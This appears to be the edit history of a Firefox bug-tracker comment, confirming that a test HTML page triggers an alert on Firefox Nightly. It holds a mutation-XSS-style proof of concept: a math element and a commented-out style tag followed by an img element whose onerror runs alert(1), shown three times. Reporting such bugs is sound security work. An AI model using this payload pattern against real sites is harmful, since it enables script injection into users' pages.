Bug 1689399 Comment 2 Edit History

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Confirmed the test output does pop an alert on Fx Nightly on the test website with the following HTML: `<html><head></head><body><math></math><p></p><style><!--</style><img src="" onerror="alert(1)">--&gt;</body></html>`
Confirmed the test output does pop an alert on Fx Nightly on the test website with the following HTML: 

```html
<html>
  <head></head>
  <body>
    <math></math>
    <p></p>
    <style><!--</style>
    <img src="" onerror="alert(1)">--&gt;
  </body>
</html>
```
Confirmed the test output does pop an alert on Fx Nightly on the test website with the following HTML: 

```html
<html>
  <head></head>
  <body>
    <math></math>
    <p></p>
    <style><!--</style>
    <img src="" onerror="alert(1)">
    -->
  </body>
</html>
```

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